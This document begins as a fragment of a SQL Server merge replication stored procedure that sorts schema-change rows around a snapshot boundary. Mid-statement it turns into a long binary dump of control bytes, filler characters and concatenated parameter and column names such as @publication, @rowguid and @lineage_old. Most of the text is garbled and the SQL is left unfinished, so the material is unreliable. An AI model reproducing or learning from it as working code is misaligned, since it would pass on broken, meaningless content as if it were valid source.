            update @incremental_schemachanges set schematype=8 where schematype in (21,23)
            update @incremental_schemachanges set schematype=9 where schematype = 18

            -- Return the end result
            select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
              from @incremental_schemachanges order by seqno asc
        end
        else
        begin
            -- case ii)
            -- Also filter out the schematypes for the setlastsentgen (5) and setlastrecgen (6)
            -- This ensures that the subscriber does not apply these schema changes when 
            -- it applies incremental schema - ie the perf optimization that is implemented 
            -- by setting last sent/rec generation should be done only for brand new subscriptions.
            -- added 17 so we dont send SCHEMA_TYPE_UPDATELASTSENTGEN which is a yukon specific schema type.
            select pubid, artid, schemaversion, schemaguid, 
                   case schematype -- Pre-Yukon had some overloaded schematypes
                        when 18 then 9
                        when 21 then 8
                        when 23 then 8
                        else schematype
                   end,
                   convert(nvarchar(2000), schematext) as schematext
              from sysmergeschemachange where schemaversion > @schemaversion  
                       and pubid = @pubid
               and schematype not in (17, 40, 45, 50, 51, 52, 53, 54, 55, 56, 57, 58, 25, 5, 6, 71, 80, 81, 82, 83, 84, 85, 88, 89, 90, 91, 92, 93, 96, 31, 208, 209, 210, 211, 212, 213, 105)
            order by schemaversion
        end 
    end
    Else 
    begin
        -- Subscriber requires a snapshot, so carefully sequence the 
        -- pre/post-snapshot commands around the snapshot boundary

        create table #schemachanges 
        (   
            pubid           uniqueidentifier  NOT NULL,
            artid           uniqueidentifier  NULL,
            schemaversion   int               NOT NULL,
            schemaguid      uniqueidentifier  NOT NULL,
            schematype      int               NOT NULL,
            schematext      nvarchar(2000)    collate database_default not null,
            seqno           int identity      NOT NULL
        )
        
        truncate table #schemachanges
        -- Insert snapshot header 

        -- Header begins
        insert into #schemachanges
            select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
                  from sysmergeschemachange where schemaversion > @schemaversion 
                   and pubid = @pubid
           and schematype = 50

        -- Header content
        insert into #schemachanges
            select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
                  from sysmergeschemachange where schemaversion > @schemaversion 
                   and pubid = @pubid
           and schematype in (25, 53, 54, 55, 56, 57, 58) 
        order by schemaversion 

        -- Header ends
        insert into #schemachanges
            select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
                  from sysmergeschemachange where schemaversion > @schemaversion 
                   and pubid = @pubid
           and schematype = 51 

        -- End of snapshot header 
        -- Insert pre command
        insert into #schemachanges
            select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
                  from sysmergeschemachange where schemaversion > @schemaversion 
                   and pubid = @pubid
           and schematype = 40 

        -- Exclude pre-post, but include snapshot only commands
        insert into #schemachanges
            select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
                  from sysmergeschemachange where schemaversion > @schemaversion 
                   and pubid = @pubid
           and schematype in (2, 3, 4, 20, 7, 60, 61, 62, 63, 64)
                 order by schemaversion 

        -- Dynamic BCP commands
        insert into #schemachanges
            select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
                  from sysmergeschemachange where schemaversion > @schemaversion 
                   and pubid = @pubid
           and schematype in (131, 132)
                 order by schemaversion          
        
        -- DRI/Trg/XPROP
        insert into #schemachanges
            select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
                  from sysmergeschemachange where schemaversion > @schemaversion 
                   and pubid = @pubid
           and schematype in (10, 15, 65)
                 order by schemaversion          

        -- Insert post command
        insert into #schemachanges
            select pubid, artid, schemaversion, schemaguid, schematype, convert(nvarchar(2000), schematext) as schematext
                  from sysmergeschemachange where schemaversion > @schemaversion 
                   and pubid = @pubid
           and schematype = 45 

        -- Insert snapshot trailer
        insert into #schemachanges
            select pubid, artid, schemaversion,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`0`)#'a6!6@independent_agent6!#8@logreader_job_name6!+>@p2p_conflictdetection6!-B@p2p_continue_onconflict6!,6@p2p_originator_id6!<@post_snapshot_script6!:@pre_snapshot_script6!*@publication6!)H@publish_local_changes_only6!%&@publisher6!$4@qreader_job_name6!!(@queue_type6!&@repl_freq6!'.@replicate_ddl6!/H@replicate_partition_switch6!(@restricted6!&@retention6!F@snapshot_in_defaultfolder6! @status6!*@sync_method6! @taskid6#@name61.@filter_clause61(@owner_name61(@table_name6B34@destination_dbms6B3:@destination_version6B3*@source_dbms6B30@source_version6_U7(@originator6_U7.@originator_db6_U7@@originator_publication6_U7(@xact_seqno6A6CONSTRAINT_CATALOG6A0CONSTRAINT_NAME6A4CONSTRAINT_SCHEMA6A.DOMAIN_CATALOG6A(DOMAIN_NAME6A,DOMAIN_SCHEMA6A6INITIALLY_DEFERRED6A,IS_DEFERRABLE6oC @dbname6oC@pubid6oC*@publication6oC(@servername6I,@whattocreate6~	K@artid6~	K@colid6~	K&@operation6~	K@type%e6%e@artid6%e@pubid6Zg&@indexname6Zg,@query_sample6Zg"@tabname6Zg.@verboseoutput6oo*@publicationu6u6@subscription_name6v6index_group_handle6v*index_handle6l	*@publication6l	&@publisher6l	,@publisher_db6ӈ@dbms6ӈ"@version6İ8@ignore_distributor6İ*@publication6İ$@reserved6İ(@subscriber6İ.@subscriber_db6İ6@subscription_type6!<@blob_cols_at_the_end6!*@compatlevel6!>@enumentirerowmetadata6!"@maxrows6!@pubid6!"@rowguid6!&@tablenick6(member_name6*member_state64member_state_desc6(member_type62member_type_desc6>number_of_quorum_votesf6f@inmap6f@objid6f&@total_col6jf&@tablename6jf&@ownername6jf$@procname6jf*@basetableid6jf@pubid6jfD@generate_subscriber_proc!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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6E@size6G@hours6G0@publication_id6G,@session_type6g*@publication6g4@publication_type6g&@publisher6g,@publisher_db6g6@subscription_type6^.@lock_acquired6^$@lockmode6^&@lockowner6^"@timeout6%EBCHARACTER_MAXIMUM_LENGTH6%E>CHARACTER_OCTET_LENGTH6%E<CHARACTER_SET_CATALOG6%E6CHARACTER_SET_NAME6%E:CHARACTER_SET_SCHEMA6%E4COLLATION_CATALOG6%E.COLLATION_NAME6%E2COLLATION_SCHEMA6%E 2COLUMN_COMPFLAGS6%E.COLUMN_DEFAULT6%E*COLUMN_FLAGS6%E(COLUMN_GUID6%E
4COLUMN_HASDEFAULT6%E(COLUMN_LCID6%E(COLUMN_NAME6%E,COLUMN_PROPID6%E!,COLUMN_SORTID6%E"8COLUMN_TDSCOLLATION6%E$DATA_TYPE6%E6DATETIME_PRECISION6%E(DESCRIPTION6%E.DOMAIN_CATALOG6%E(DOMAIN_NAME6%E,DOMAIN_SCHEMA6%E#(IS_COMPUTED6%E
(IS_NULLABLE6%E4NUMERIC_PRECISION6%E,NUMERIC_SCALE6%E$object_id6@pubid60@tablenickarray6,@rowguidarray6@all_articles_are_guaranteed_to_be_updateable_at_other_replica6N@logical_record_parent_rowguid6&@tablename6@type6&@direction6$@reftable6@flags!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|	P		xJ"d8b4n4B 			


^8rF fH,fJ.`$j)
0n#526.@function_name60@mapping_option64@update_flag_list6u@defdb6u$@loginame69b @dbname69b.@new_cmptlevel6F&@view_name6F*@view_schema6d$@acctname6d @option6d&@privilege64@physical_locator6 file_id6 page_id6 slot_id6s@level6s@perms6s0permission_name6stype6$&@cntrltype6$&@devstatus6$"@devtype6$*@logicalname6$,@physicalname6$$@agent_id6="@article6=.@change_active6=.@filter_clause6=F@force_invalidate_snapshot6=F@force_reinit_subscription6=
$@internal6=*@publication6=&@publisher6=	<@refreshsynctranprocs6=&@view_name6Ԋ$@art_nick6Ԋ@gen6Ԋ"@guidsrc6Ԋ@pubid6賴*@ddl_present6賴*@publication6,default_value64has_default_value6
$is_output6	&max_length6name6$object_id6*parameter_id6$precision62procedure_number6scale6.system_type_id6*user_type_id6
4xml_collection_id6A"@article6A @column6A @length6A(@mapping_id6A	$@nullable6A&@precision6A*@publication6A
&@publisher6A0@publisher_type6A@scale6A@type6D|$@ccolumns6D|@crows6D|"@gGeoObj6D|$attribute6D|id6D|wkb6'2dispatcher_count6'>dispatcher_ideal_count6'@dispatcher_pool_address6'<dispatcher_timeout_ms6'Bdispatcher_waiting_count6'name6'	(pdw_node_id6'*queue_length6'type6,@full_or_fast6*@publication6.@rowcount_only60@shutdown_agent6s$@pub_type6s*@publication6s&@publisher6$@agent_id6(@agent_type6*@curdate_utc6D@history_retention_period60@monitor_server6L@monitor_server_security_mode6Ԋ8@is_ssce_empty_sync6Ԋ8@publication_number6Ԋ,@partition_id6J@pubid6J0@AlterTableOnly6J.@schemaversion፯6፯&@mapdownbm6፯@bm6q$@nickname6q@pubid6q4@processing_order!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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y_&@tablename6"@article6*@publication6@type6@value6$M2@distribution_db6$M8@encrypted_password6$M@login6$M$@password6$M&@publisher6$M
0@publisher_type6$M.@security_mode6$M	2@thirdparty_flag6$M"@trusted6$M6@working_directory6W@artid6W @format6W@mode6W&@publisher6W.@publishertype6W&@usesqlclr6(@dest_owner6&@tablenameF 6F "@command60@AlterTableOnly6*@compatlevel6@pubid6.@schemaversion##6##4@capture_instance6##$@from_lsn6## @to_lsn6x"*@publication6x",@source_owner6x",@source_table6%&@object_id6%0@qualified_name6 )@pubdb6 )*@publication6 )&@publisher6/2is_current_owner6/"NodeName6/(pdw_node_id6/status6/6status_description6`4"@article6`4*@publication6JcY"alert_id6JcY4alert_instance_id6JcY*component_id6JcY<component_instance_id6JcY(create_time6JcY,current_value6JcY(pdw_node_id6JcY.previous_valueZ6Z$@agent_id6Z(@agent_type6_^ @column6_^F@force_invalidate_snapshot6_^F@force_reinit_subscription6_^(@from_agent6_^<@schema_change_script6_^.@source_object6_n*@server_name6r$@alert_id6r.@database_name6z@@allow_partition_switch6z4@capture_instance6z	*@create_date6z0@filegroup_name6z(@index_name6z
0@is_partitioned6z&@object_id6z&@role_name6z4@source_object_id6z&@start_lsn6z<@supports_net_changes6{"@expired6{@pubid6{(@subscriber6{.@subscriber_db6&@retention6&@threshold6u&@publisher6u(@subscriber6B4@capture_instance6
0@bOutput_params6b@invalidateupload_schemachanges_for_ssce6L@filter_skipped_schemachanges6@objid6 @binamenVW6nVW8@publication_number6nVW,@partition_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!jD


r
L

tDxT*


R

				d	<		N,<t.dBrL RDB|nH jLd>tX.`l)H

`*6C%0@metadata_type76C*0@metadata_type86C/0@metadata_type96C,@partition_id6C@pubid6C$@rowguid16C3&@rowguid106C8&@rowguid116C$@rowguid26C$@rowguid36C$@rowguid46C$@rowguid56C$@rowguid66C$$@rowguid76C=&@rowguid126CB&@rowguid136CG&@rowguid146CL&@rowguid156CQ&@rowguid166CV&@rowguid176C[&@rowguid186C`&@rowguid196Ce&@rowguid206Cj&@rowguid216Co&@rowguid226Ct&@rowguid236Cy&@rowguid246C~&@rowguid256C&@rowguid266C&@rowguid276C&@rowguid286C&@rowguid296C&@rowguid306C&@rowguid316C&@rowguid326C&@rowguid336C&@rowguid346C&@rowguid356C&@rowguid366C&@rowguid376C&@rowguid386C&@rowguid396C&@rowguid406C&@rowguid416C&@rowguid426C&@rowguid436C&@rowguid446C&@rowguid456C&@rowguid466C&@rowguid476C&@rowguid486C&@rowguid496C&@rowguid506C&@rowguid516C&@rowguid526C
&@rowguid536C&@rowguid546C&@rowguid556C&@rowguid566C&@rowguid576C#&@rowguid586C(&@rowguid596C-&@rowguid606C2&@rowguid616C7&@rowguid626C<&@rowguid636CA&@rowguid646CF&@rowguid656CK&@rowguid666CP&@rowguid676CU&@rowguid686CZ&@rowguid696C_&@rowguid706C`2@metadata_type706Cd&@rowguid716Ce2@metadata_type716Ci&@rowguid726Cj2@metadata_type726Cn&@rowguid736Co2@metadata_type736Cs&@rowguid746Ct2@metadata_type746Cy2@metadata_type756C~2@metadata_type766C2@metadata_type776C2@metadata_type786C2@metadata_type796C2@metadata_type806C2@metadata_type816C2@metadata_type826C2@metadata_type836C2@metadata_type846C2@metadata_type856C2@metadata_type866C2@metadata_type876C2@metadata_type886C2@metadata_type896C2@metadata_type906C2@metadata_type916C2@metadata_type926C2@metadata_type936C2@metadata_type946C2@metadata_type956C2@metadata_type966C2@metadata_type976C2@metadata_type986C2@metadata_type996C(@rowguid100d266C&@rowguid276C&@rowguid286C&@rowguid296C&@rowguid306C&@rowguid316C&@rowguid326C&@rowguid336C&@rowguid346C&@rowguid356C&@rowguid366C&@rowguid376C&@rowguid386C&@rowguid396C&@rowguid406C&@rowguid416C&@rowguid426C&@rowguid436C&@rowguid446C&@rowguid456C&@rowguid466C&@rowguid476C&@rowguid486C&@rowguid496C&@rowguid506C&@rowguid516C&@rowguid526C
&@rowguid536C&@rowguid546C&@rowguid556C&@rowguid566C&@rowguid576C#&@rowguid586C(&@rowguid596C-&@rowguid606C2&@rowguid616C7&@rowguid626C<&@rowguid636CA&@rowguid646CF&@rowguid656CK&@rowguid666CP&@rowguid676CU&@rowguid686CZ&@rowguid696C_&@rowguid706C`2@metadata_type706Cd&@rowguid716Ce2@metadata_type716Ci&@rowguid726Cj2@metadata_type726Cn&@rowguid736Co2@metadata_type736Cs&@rowguid746Ct2@metadata_type746Cx&@rowguid756Cy2@metadata_type756C}&@rowguid766C~2@metadata_type766C&@rowguid776C2@metadata_type776C&@rowguid786C2@metadata_type786C&@rowguid796C2@metadata_type796C&@rowguid806C2@metadata_type806C&@rowguid816C2@metadata_type816C&@rowguid826C2@metadata_type826C&@rowguid836C2@metadata_type836C&@rowguid846C2@metadata_type846C&@rowguid856C2@metadata_type856C&@rowguid866C2@metadata_type866C&@rowguid876C2@metadata_type876C2@metadata_type886C2@metadata_type896C2@metadata_type90rHX&"~&v^



`
:

			:|	V	0	
	rL&hB^8zT.pJ$f@^:T"Z(`.f4

l
:

LD`})F
f6C_.@lineage_new186Cd.@lineage_new196C,@lineage_new26Ci.@lineage_new206Cn.@lineage_new216Cs.@lineage_new226Cx.@lineage_new236C}.@lineage_new246C.@lineage_new256C.@lineage_new266C.@lineage_new276C.@lineage_new286C.@lineage_new296C,@lineage_new36C.@lineage_new306C.@lineage_new316C,@lineage_new46C,@lineage_new56C#,@lineage_new66C(,@lineage_new76C-,@lineage_new86C2,@lineage_new96C	,@lineage_old16C6.@lineage_old106C;.@lineage_old116C@.@lineage_old126CE.@lineage_old136CJ.@lineage_old146CO.@lineage_old156CT.@lineage_old166CY.@lineage_old176C^.@lineage_old186Cc.@lineage_old196C,@lineage_old26Ch.@lineage_old206Cm.@lineage_old216Cr.@lineage_old226Cw.@lineage_old236C|.@lineage_old246C.@lineage_old256C.@lineage_old266C.@lineage_old276C.@lineage_old286C.@lineage_old296C,@lineage_old36C.@lineage_old306C.@lineage_old316C.@lineage_old326C,@lineage_old46C.@lineage_new326C.@lineage_old336C.@lineage_new336C.@lineage_old346C.@lineage_new346C.@lineage_old356C.@lineage_new356C.@lineage_old366C.@lineage_new366C.@lineage_old376C.@lineage_new376C.@lineage_old386C.@lineage_new386C.@lineage_old396C.@lineage_new396C.@lineage_new406C.@lineage_new416C.@lineage_new426C.@lineage_new436C.@lineage_new446C.@lineage_new456C.@lineage_new466C.@lineage_new476C.@lineage_new486C.@lineage_new496C.@lineage_new506C.@lineage_new516C	.@lineage_new526C.@lineage_new536C.@lineage_new546C.@lineage_new556C.@lineage_new566C".@lineage_new576C'.@lineage_new586C,.@lineage_new596C1.@lineage_new606C6.@lineage_new616C;.@lineage_new626C@.@lineage_new636CE.@lineage_new646CJ.@lineage_new656CO.@lineage_new666CT.@lineage_new676CY.@lineage_new686C^.@lineage_new696Cc.@lineage_new706Ch.@lineage_new716Cm.@lineage_new726Cr.@lineage_new736Cw.@lineage_new746C|.@lineage_new756C.@lineage_new766C.@lineage_new776C.@lineage_new786C.@lineage_new796C.@lineage_new806C.@lineage_new816C.@lineage_new826C.@lineage_new836C.@lineage_new846C.@lineage_new856C.@lineage_new866C.@lineage_new876C.@lineage_new886C.@lineage_new896C.@lineage_new906C.@lineage_new916C.@lineage_new926C.@lineage_new936C.@lineage_new946C.@lineage_new956C.@lineage_new966C.@lineage_new976C.@lineage_new986C.@lineage_new996C0@lineage_old100456C.@lineage_new456C2@metadata_type466C.@lineage_old466C.@lineage_new466C2@metadata_type476C.@lineage_old476C.@lineage_new476C2@metadata_type486C.@lineage_old486C.@lineage_new486C2@metadata_type496C.@lineage_old496C.@lineage_new496C2@metadata_type506C.@lineage_old506C.@lineage_new506C2@metadata_type516C.@lineage_old516C.@lineage_new516C2@metadata_type526C.@lineage_old526C	.@lineage_new526C2@metadata_type536C
.@lineage_old536C.@lineage_new536C2@metadata_type546C.@lineage_old546C.@lineage_new546C2@metadata_type556C.@lineage_old556C.@lineage_new556C2@metadata_type566C.@lineage_old566C.@lineage_new566C2@metadata_type576C!.@lineage_old576C".@lineage_new576C$2@metadata_type586C&.@lineage_old586C'.@lineage_new586C)2@metadata_type596C+.@lineage_old596C,.@lineage_new596C1.@lineage_new606C6.@lineagl
X
		D	`4|N h<V(pDb4|N h:T&n@Z,tF`2zL


hf
8

R$<>

*
	r		X*rD`)
bf6C.@lineage_old406C.@lineage_old416C.@lineage_old426C.@lineage_old436C.@lineage_old446C.@lineage_old456C.@lineage_old466C.@lineage_old476C.@lineage_old486C.@lineage_old496C,@lineage_old56C.@lineage_old506C.@lineage_old516C.@lineage_old526C
.@lineage_old536C.@lineage_old546C.@lineage_old556C.@lineage_old566C!.@lineage_old576C&.@lineage_old586C+.@lineage_old596C",@lineage_old66C',@lineage_old76C,,@lineage_old86C1,@lineage_old96C0@metadata_type16C42@metadata_type106C92@metadata_type116C>2@metadata_type126CC2@metadata_type136CH2@metadata_type146CM2@metadata_type156CR2@metadata_type166CW2@metadata_type176C\2@metadata_type186Ca2@metadata_type196C0@metadata_type26Cf2@metadata_type206Ck2@metadata_type216Cp2@metadata_type226Cu2@metadata_type236Cz2@metadata_type246C2@metadata_type256C2@metadata_type266C2@metadata_type276C2@metadata_type286C2@metadata_type296C0@metadata_type36C2@metadata_type306C2@metadata_type316C2@metadata_type326C2@metadata_type336C2@metadata_type346C2@metadata_type356C2@metadata_type366C2@metadata_type376C2@metadata_type386C2@metadata_type396C0@metadata_type46C2@metadata_type406C2@metadata_type416C2@metadata_type426C2@metadata_type436C2@metadata_type446C2@metadata_type456C2@metadata_type466C2@metadata_type476C2@metadata_type486C2@metadata_type496C0@metadata_type56C2@metadata_type506C2@metadata_type516C2@metadata_type526C2@metadata_type536C2@metadata_type546C2@metadata_type556C2@metadata_type566C2@metadata_type576C$2@metadata_type586C)2@metadata_type596C 0@metadata_type66C.2@metadata_type606C0.@lineage_old606C32@metadata_type616C5.@lineage_old616C82@metadata_type626C:.@lineage_old626C=2@metadata_type636C?.@lineage_old636CB2@metadata_type646CD.@lineage_old646CG2@metadata_type656CI.@lineage_old656CL2@metadata_type666CN.@lineage_old666CQ2@metadata_type676CS.@lineage_old676CV2@metadata_type686CX.@lineage_old686C[2@metadata_type696C].@lineage_old696Cb.@lineage_old706Cg.@lineage_old716Cl.@lineage_old726Cq.@lineage_old736Cv.@lineage_old746C{.@lineage_old756C.@lineage_old766C.@lineage_old776C.@lineage_old786C.@lineage_old796C.@lineage_old806C.@lineage_old816C.@lineage_old826C.@lineage_old836C.@lineage_old846C.@lineage_old856C.@lineage_old866C.@lineage_old876C.@lineage_old886C.@lineage_old896C.@lineage_old906C.@lineage_old916C.@lineage_old926C.@lineage_old936C.@lineage_old946C.@lineage_old956C.@lineage_old966C.@lineage_old976C.@lineage_old986C.@lineage_old996C4@metadata_type100!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!X8xV$\*


d
2

j8p@

x
F

		~	L		T"Z(b0h6R$l>X*rD|^0xPJ*j
J$l>X,tF`g)
2TyJ6Cx&@rowguid756C}&@rowguid766C&@rowguid776C&@rowguid786C&@rowguid796C)$@rowguid86C&@rowguid806C&@rowguid816C&@rowguid826C&@rowguid836C&@rowguid846C&@rowguid856C&@rowguid866C&@rowguid876C.$@rowguid96C6@rows_tobe_deleted6C&@tablenick6{5
2@active_end_date6{5
@@active_end_time_of_day6{5
6@active_start_date6{5
D@active_start_time_of_day6{5
6@commit_batch_size6{5
*@description6{5
8@encrypted_password6{5
2@flush_frequency6{5
	8@frequency_interval6{5
J@frequency_recurrence_factor6{5

J@frequency_relative_interval6{5
4@frequency_subday6{5

F@frequency_subday_interval6{5
0@frequency_type6{5
@login6{5
$@password6{5
&@publisher6{5
.@security_mode6{5
6@status_batch_size6{5
(@subscriber6{5
@type6,@gen6,"@genguid6,@pubid6L2@cursor_identity6L.@cursor_return6L.@cursor_source6H!@bm6H!&@mapdownbm6"$@agent_id6"(@agent_type6"$@database6"$@help_url6""@message6"2@sequence_number6"(@session_id6" @source6$@mode6v&4@article_nickname6v&@pubid6k9*@remove_repl6A4@article_resolver6A<@dotnet_assembly_name6A6@dotnet_class_name6A8@is_dotnet_assembly6A0@resolver_clsid6wC,@fktable_name6wC.@fktable_owner6wC6@fktable_qualifier6wC,@pktable_name6wC.@pktable_owner6wC6@pktable_qualifier6S.@table_catalog6S(@table_name6S,@table_schema6S,@table_servermW6mW4@capture_instance6jY0completed_count6jY,max_wait_time6jY(pdw_node_id6jY,request_count6jY(signal_time6jY$wait_name6jY$wait_time6xd*@column_name6xd*@fUsePattern6xd&@NameScope6xd"@ODBCVer6xd(@table_name6xd*@table_owner6xd2@table_qualifier6C&@rowguid886C&@rowguid896C&@rowguid906C&@rowguid916C&@rowguid926C&@rowguid936C&@rowguid946C&@rowguid956C&@rowguid966C&@rowguid976C&@rowguid986C&@rowguid996Z*@publication6Z"@article!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!